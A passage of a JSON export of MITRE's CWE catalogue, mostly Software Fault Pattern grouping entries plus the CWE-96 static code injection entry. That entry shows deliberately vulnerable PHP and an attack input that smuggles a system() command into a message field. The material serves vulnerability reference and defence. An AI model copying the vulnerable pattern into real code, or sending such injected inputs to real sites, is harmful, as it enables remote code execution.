"@View_ID": "888"}, {"@CWE_ID": "201", "@View_ID": "888"}, {"@CWE_ID": "209", "@View_ID": "888"}, {"@CWE_ID": "210", "@View_ID": "888"}, {"@CWE_ID": "211", "@View_ID": "888"}, {"@CWE_ID": "212", "@View_ID": "888"}, {"@CWE_ID": "213", "@View_ID": "888"}, {"@CWE_ID": "214", "@View_ID": "888"}, {"@CWE_ID": "215", "@View_ID": "888"}, {"@CWE_ID": "219", "@View_ID": "888"}, {"@CWE_ID": "220", "@View_ID": "888"}, {"@CWE_ID": "226", "@View_ID": "888"}, {"@CWE_ID": "244", "@View_ID": "888"}, {"@CWE_ID": "256", "@View_ID": "888"}, {"@CWE_ID": "257", "@View_ID": "888"}, {"@CWE_ID": "260", "@View_ID": "888"}, {"@CWE_ID": "311", "@View_ID": "888"}, {"@CWE_ID": "312", "@View_ID": "888"}, {"@CWE_ID": "313", "@View_ID": "888"}, {"@CWE_ID": "314", "@View_ID": "888"}, {"@CWE_ID": "315", "@View_ID": "888"}, {"@CWE_ID": "316", "@View_ID": "888"}, {"@CWE_ID": "317", "@View_ID": "888"}, {"@CWE_ID": "318", "@View_ID": "888"}, {"@CWE_ID": "319", "@View_ID": "888"}, {"@CWE_ID": "374", "@View_ID": "888"}, {"@CWE_ID": "375", "@View_ID": "888"}, {"@CWE_ID": "402", "@View_ID": "888"}, {"@CWE_ID": "403", "@View_ID": "888"}, {"@CWE_ID": "433", "@View_ID": "888"}, {"@CWE_ID": "495", "@View_ID": "888"}, {"@CWE_ID": "497", "@View_ID": "888"}, {"@CWE_ID": "498", "@View_ID": "888"}, {"@CWE_ID": "499", "@View_ID": "888"}, {"@CWE_ID": "5", "@View_ID": "888"}, {"@CWE_ID": "501", "@View_ID": "888"}, {"@CWE_ID": "522", "@View_ID": "888"}, {"@CWE_ID": "523", "@View_ID": "888"}, {"@CWE_ID": "526", "@View_ID": "888"}, {"@CWE_ID": "527", "@View_ID": "888"}, {"@CWE_ID": "528", "@View_ID": "888"}, {"@CWE_ID": "529", "@View_ID": "888"}, {"@CWE_ID": "530", "@View_ID": "888"}, {"@CWE_ID": "532", "@View_ID": "888"}, {"@CWE_ID": "535", "@View_ID": "888"}, {"@CWE_ID": "536", "@View_ID": "888"}, {"@CWE_ID": "537", "@View_ID": "888"}, {"@CWE_ID": "538", "@View_ID": "888"}, {"@CWE_ID": "539", "@View_ID": "888"}, {"@CWE_ID": "540", "@View_ID": "888"}, {"@CWE_ID": "541", "@View_ID": "888"}, {"@CWE_ID": "546", "@View_ID": "888"}, {"@CWE_ID": "548", "@View_ID": "888"}, {"@CWE_ID": "550", "@View_ID": "888"}, {"@CWE_ID": "552", "@View_ID": "888"}, {"@CWE_ID": "555", "@View_ID": "888"}, {"@CWE_ID": "591", "@View_ID": "888"}, {"@CWE_ID": "598", "@View_ID": "888"}, {"@CWE_ID": "607", "@View_ID": "888"}, {"@CWE_ID": "612", "@View_ID": "888"}, {"@CWE_ID": "615", "@View_ID": "888"}, {"@CWE_ID": "642", "@View_ID": "888"}, {"@CWE_ID": "668", "@View_ID": "888"}, {"@CWE_ID": "669", "@View_ID": "888"}, {"@CWE_ID": "7", "@View_ID": "888"}, {"@CWE_ID": "756", "@View_ID": "888"}, {"@CWE_ID": "767", "@View_ID": "888"}, {"@CWE_ID": "8", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "962", "@Name": "SFP Secondary Cluster: Unchecked Status Condition", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).", "Relationships": {"Has_Member": [{"@CWE_ID": "248", "@View_ID": "888"}, {"@CWE_ID": "252", "@View_ID": "888"}, {"@CWE_ID": "253", "@View_ID": "888"}, {"@CWE_ID": "273", "@View_ID": "888"}, {"@CWE_ID": "280", "@View_ID": "888"}, {"@CWE_ID": "372", "@View_ID": "888"}, {"@CWE_ID": "390", "@View_ID": "888"}, {"@CWE_ID": "391", "@View_ID": "888"}, {"@CWE_ID": "394", "@View_ID": "888"}, {"@CWE_ID": "395", "@View_ID": "888"}, {"@CWE_ID": "431", "@View_ID": "888"}, {"@CWE_ID": "478", "@View_ID": "888"}, {"@CWE_ID": "484", "@View_ID": "888"}, {"@CWE_ID": "600", "@View_ID": "888"}, {"@CWE_ID": "665", "@View_ID": "888"}, {"@CWE_ID": "754", "@View_ID": "888"}, {"@CWE_ID": "755", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": 1.0}, {"@ID": "961", "@Name": "SFP Secondary Cluster: Incorrect Exception Behavior", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).", "Relationships": {"Has_Member": [{"@CWE_ID": "392", "@View_ID": "888"}, {"@CWE_ID": "393", "@View_ID": "888"}, {"@CWE_ID": "455", "@View_ID": "888"}, {"@CWE_ID": "460", "@View_ID": "888"}, {"@CWE_ID": "544", "@View_ID": "888"}, {"@CWE_ID": "584", "@View_ID": "888"}, {"@CWE_ID": "636", "@View_ID": "888"}, {"@CWE_ID": "703", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "960", "@Name": "SFP Secondary Cluster: Ambiguous Exception Type", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).", "Relationships": {"Has_Member": [{"@CWE_ID": "396", "@View_ID": "888"}, {"@CWE_ID": "397", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "96", "@Name": "Improper Neutralization of Directives in Statically Saved Code", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Draft", "Description": "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "94", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Name": "PHP", "@Prevalence": "Undetermined"}, {"@Name": "Perl", "@Prevalence": "Undetermined"}, {"@Class": "Interpreted", "@Prevalence": "Undetermined"}]}, "Alternate_Terms": {"Alternate_Term": {"Term": "Static Code Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}, {"Phase": "Implementation", "Note": "This issue is frequently found in PHP applications that allow users to set configuration variables that are stored within executable PHP files. Technically, this could also be performed in some compiled code (e.g., by byte-patching an executable), although it is highly unlikely."}]}, "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": ["Read Files or Directories", "Read Application Data"], "Note": "The injected code could access restricted data / files."}, {"Scope": "Access Control", "Impact": "Bypass Protection Mechanism", "Note": "In some cases, injectable code controls authentication; this may lead to a remote vulnerability."}, {"Scope": "Access Control", "Impact": "Gain Privileges or Assume Identity", "Note": "Injected code can access resources that the attacker is directly prevented from accessing."}, {"Scope": ["Integrity", "Confidentiality", "Availability", "Other"], "Impact": "Execute Unauthorized Code or Commands", "Note": "Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code."}, {"Scope": "Non-Repudiation", "Impact": "Hide Activities", "Note": "Often the actions performed by injected control code are unlogged."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)"}}, "Potential_Mitigations": {"Mitigation": [{"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright."]}, {"Phase": "Implementation", "Strategy": "Output Encoding", "Description": ["Perform proper output validation and escaping to neutralize all code syntax from data written to code files."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": {"@Demonstrative_Example_ID": "DX-32", "Intro_Text": "This example attempts to write user messages to a message file and allow users to view them.", "Example_Code": [{"@Nature": "Bad", "@Language": "PHP", "xhtml:div": {"xhtml:br": [null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null], "#text": "$name = $_GET[\"name\"];$message = $_GET[\"message\"];$handle = fopen($MessageFile, \"a+\");fwrite($handle, \"<b>$name</b> says '$message'<hr>\\n\");fclose($handle);echo \"Message Saved!<p>\\n\";"}, {"@style": "margin-left:1em;", "#text": "include($MessageFile);"}], "#text": "$MessageFile = \"messages.out\";if ($_GET[\"action\"] == \"NewMessage\") {}else if ($_GET[\"action\"] == \"ViewMessages\") {}"}, "#text_blocks": ["$MessageFile = \"messages.out\";", "if ($_GET[\"action\"] == \"NewMessage\") {", "$name = $_GET[\"name\"];", "$message = $_GET[\"message\"];", "$handle = fopen($MessageFile, \"a+\");", "fwrite($handle, \"<b>$name</b> says '$message'<hr>\\n\");", "fclose($handle);", "echo \"Message Saved!<p>\\n\";", "}", "else if ($_GET[\"action\"] == \"ViewMessages\") {", "include($MessageFile);", "}"]}, {"@Nature": "Attack", "xhtml:div": {"xhtml:br": null, "#text": "name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"}, "#text_blocks": ["name=h4x0r", "message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"]}, {"@Nature": "Attack", "xhtml:div": "<?php system(\"/bin/ls -l\");?>", "#text_blocks": ["<?php system(\"/bin/ls -l\");?>"]}], "Body_Text": ["While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:", "which will decode to the following:", "The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.", "Notice that XSS (CWE-79) is also possible in this situation."]}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2002-0495", "Description": "Perl code directly injected into CGI library file from parameters to another CGI program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0495"}, {"Reference": "CVE-2005-1876", "Description": "Direct PHP code injection into supporting template file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1876"}, {"Reference": "CVE-2005-1894", "Description": "Direct code injection into PHP script that can be accessed by attacker.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1894"}, {"Reference": "CVE-2003-0395", "Description": "PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0395"}, {"Reference": "CVE-2007-6652", "Description": "Chain: execution after redirect allows non-administrator to perform static code injection.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-6652"}]}, "Affected_Resources": {"Affected_Resource": "File or Directory"}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "Direct Static Code Injection"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted Input to Command"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "35"}, {"@CAPEC_ID": "73"}, {"@CAPEC_ID": "77"}, {"@CAPEC_ID": "81"}, {"@CAPEC_ID": "85"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "\"HTML injection\" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection."}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Potential_Mitigations, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-04-05", "Modification_Version": "1.8.1", "Modification_ReleaseDate": "2010-04-05", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Enabling_Factors_for_Exploitation, Other_Notes, Relationship_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Affected_Resources, Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Modes_of_Introduction, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "Direct Static Code Injection"}, {"@Date": "2009-05-27", "#text": "Insufficient Control of Directives in Statically Saved Code (Static Code Injection)"}, {"@Date": "2010-04-05", "#text": "Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"}]}, "entry_type": "Weakness", "ranking": 43.0}, {"@ID": "959", "@Name": "SFP Secondary Cluster: Weak Cryptography", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "261", "@View_ID": "888"}, {"@CWE_ID": "322", "@View_ID": "888"}, {"@CWE_ID": "323", "@View_ID": "888"}, {"@CWE_ID": "324", "@View_ID": "888"}, {"@CWE_ID": "326", "@View_ID": "888"}, {"@CWE_ID": "329", "@View_ID": "888"}, {"@CWE_ID": "347", "@View_ID": "888"}, {"@CWE_ID": "640", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "958", "@Name": "SFP Secondary Cluster: Broken Cryptography", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "325", "@View_ID": "888"}, {"@CWE_ID": "327", "@View_ID": "888"}, {"@CWE_ID": "328", "@View_ID": "888"}, {"@CWE_ID": "759", "@View_ID": "888"}, {"@CWE_ID": "760", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "957", "@Name": "SFP Secondary Cluster: Protocol Error", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "353", "@View_ID": "888"}, {"@CWE_ID": "435", "@View_ID": "888"}, {"@CWE_ID": "436", "@View_ID": "888"}, {"@CWE_ID": "437", "@View_ID": "888"}, {"@CWE_ID": "757", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "956", "@Name": "SFP Secondary Cluster: Channel Attack", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "290", "@View_ID": "888"}, {"@CWE_ID": "294", "@View_ID": "888"}, {"@CWE_ID": "300", "@View_ID": "888"}, {"@CWE_ID": "301", "@View_ID": "888"}, {"@CWE_ID": "419", 